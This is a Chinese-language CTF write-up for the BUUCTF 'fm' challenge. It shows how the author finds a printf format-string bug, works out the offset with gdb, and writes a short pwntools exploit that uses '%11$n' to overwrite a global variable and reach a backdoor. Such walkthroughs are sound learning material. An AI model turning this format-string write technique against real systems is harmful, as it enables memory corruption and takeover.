buuctf fm(格式化字符串)
检查文件,有canary保护,不能用栈溢出,大概率会有格式化字符串漏洞
查看ida
显然,第一个printf有格式化字符串漏洞,接下来用gdb调试,那么将断点设在何处呢?
设在第二个printf,地址如下
接下来就可以调试了
显然,偏移位置是11
然后找到x的地址
之后就可以构造exp了
exp如下:
from pwn import *
from LibcSearcher import LibcSearcher
io=remote('node5.buuoj.cn',25141)
# context(arch='amd64',os='linux',log_level = 'debug')
context(arch='i386',os='linux',log_level = 'debug')
# io=process('./fm')
elf=ELF('./fm')
x_addr=0x0804A02C
payload=p32(x_addr)+b'%11$n'
io.sendline(payload)
io.interactive()
上面exp中让我最困惑的payload的构建,后来一查,原理是这样的:
原来程序中是x的为4的是才会跳转到后门函数,在这里,%11$n
表示向第 11 个参数指向的地址写入已输出的字节数,而第11个参数指向的地址正好是咱们输入进去的x的地址,要向它写入 4(因为 p32(x_addr) 占了 4 字节),这样,咱们也就不用考虑x==4的问题了,这样以来,就得到结果
若有不足,还请大佬多多指教